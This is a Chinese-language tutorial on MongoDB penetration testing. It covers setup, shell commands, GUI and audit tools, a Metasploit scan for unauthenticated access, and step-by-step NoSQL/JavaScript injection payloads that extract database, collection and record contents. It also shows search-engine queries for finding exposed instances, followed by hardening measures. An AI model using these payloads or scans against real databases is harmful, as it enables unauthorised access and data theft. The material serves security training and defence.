MongoDB数据库渗透测试及漏洞复现
字数 1862 2025-08-09 18:44:06
MongoDB数据库渗透测试及漏洞复现教学文档
0x01 MongoDB数据库简介
MongoDB是一个高性能、开源、无模式的文档型数据库,基于分布式文件存储,由C++编写。数据以JSON样式文档的形式存储,是当前最热门的NoSQL数据库产品之一。
关键特性:
- 默认端口号:27017
- 数据存储形式:库-集合-文档-字段
- 与传统SQL术语对比:
| SQL术语 | MongoDB术语 | 说明 |
|---|---|---|
| database | database | 数据库 |
| table | collection | 数据库表/集合 |
| row | document | 数据记录行/文档 |
| column | field | 数据字段/域 |
| index | index | 索引 |
自带数据库:
- admin:root数据库,用户添加到此数据库将继承所有权限
- local:不会被复制的数据库,存储限于本地单台服务器的集合
- config:分片设置时内部使用,保存分片相关信息
漏洞成因:
MongoDB未配置访问认证授权时,可无需认证连接数据库并进行任意操作(未授权访问漏洞),存在严重数据泄露风险。默认安装后无账号密码且未开启权限验证。
0x02 MongoDB渗透测试环境配置
Windows版本安装配置
-
下载安装:
- 官网下载地址:https://www.mongodb.com/try/download/community
- 选择Custom安装类型
- 修改默认安装路径
- 取消安装MongoDB Compass(可后续单独安装)
-
服务配置:
- 修改
mongod.cfg中bindIP为0.0.0.0允许远程连接 - 配置环境变量(添加bin目录到PATH)
- 配置文件启动服务:
mongod --config c:\MongoDB\mongodb.conf --install --serviceName "mongodb" - 服务管理命令:
net start mongodb net stop mongodb
- 修改
Kali Linux版本安装配置
-
安装:
wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add - echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list sudo apt-get update sudo apt-get install -y mongodb-org -
服务管理:
sudo systemctl start mongod # 启动 sudo systemctl status mongod # 查看状态 sudo systemctl stop mongod # 停止 sudo systemctl restart mongod # 重启 -
远程连接配置:
修改/etc/mongod.conf中bindIP为0.0.0.0
0x03 MongoDB基本操作
MongoDB Shell基础
进入shell:mongo(配置环境变量后)
基本命令
-
数据库操作:
show dbs // 查看数据库列表 db // 查看当前数据库 use xiguadb // 创建/切换数据库 db.dropDatabase() // 删除当前数据库 -
集合操作:
show collections // 查看集合列表 db.createCollection("lanmei") // 创建集合 db.lanmei.drop() // 删除集合 -
文档操作:
db.lanmei.insert({"name":"john"}) // 插入文档 db.lanmei.find().pretty() // 查询文档 db.lanmei.remove({"str":"kkk"}) // 删除文档 -
条件查询:
db.lanmei.find({"num":"1234567"}).pretty() -
认证登录:
mongo --host 192.168.1.1 --port 27017 -u "user" -p "pass" --authenticationDatabase "admin"
0x04 MongoDB工具使用
1. MongoDB Compass
- 官方可视化工具
- 下载地址:https://www.mongodb.com/download-center/compass
- 连接方式:直接点击Connect连接本地数据库
2. Robo 3T
- 免费开源可视化工具
- 下载地址:https://robomongo.org/
- 创建连接:填写IP、端口、认证信息
3. Navicat for MongoDB
- 商业可视化工具
- 下载地址:http://www.navicat.com.cn/products/navicat-for-mongodb
4. NoSQLMap
- NoSQL注入审计工具
- 项目地址:https://github.com/codingo/NoSQLMap
- 安装:
python setup.py install python nosqlmap.py - 功能:
- NoSQL数据库访问攻击
- NoSQL Web应用攻击
- 扫描匿名MongoDB访问
0x05 MongoDB渗透测试及漏洞复现
1. MSF渗透MongoDB
可用模块:
search mongodb
主要使用mongodb_login模块扫描未授权访问:
use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS 192.168.1.1
run
2. MongoDB SQL注入漏洞
漏洞复现步骤:
-
测试注入点:
http://example.com/new_list.php?id=1' -
构造注入:
id=1'}); return ({title:1,content:'test -
爆库名:
id=1'}); return ({title:tojson(db),content:'test -
爆表名:
id=1'}); return ({title:tojson(db.getCollectionNames()),content:'test -
爆字段:
id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'test
3. 基于空间搜索引擎的渗透
-
搜索关键字:
product:"MongoDB" -
验证未授权访问:
- 使用Robo 3T等工具直接连接
- 使用MSF扫描验证
0x06 MongoDB防御措施
1. 修改监听地址
编辑配置文件(Windows: mongod.cfg, Linux: /etc/mongod.conf):
net:
port: 27017
bindIp: 127.0.0.1 # 限制为本地或指定IP
2. 启用认证
-
创建管理员用户:
use admin db.createUser({ user: "admin", pwd: "complexpassword", roles: [ { role: "userAdminAnyDatabase", db: "admin" } ] }) -
启用认证:
security: authorization: enabled -
重启服务后认证方式:
- 命令行认证:
mongo -u admin -p complexpassword localhost:27017/admin - 连接后认证:
use admin db.auth("admin", "complexpassword")
- 命令行认证:
3. 其他安全措施
- 配置防火墙规则限制访问IP
- 定期更新MongoDB版本
- 启用TLS/SSL加密通信
- 配置适当的用户角色和权限
总结
本教学文档详细介绍了MongoDB的渗透测试方法和防御措施,包括环境配置、基本操作、工具使用、漏洞复现和安全加固等内容。关键点在于理解MongoDB的未授权访问漏洞和注入漏洞的利用方式,以及如何通过配置认证和访问控制来增强数据库安全性。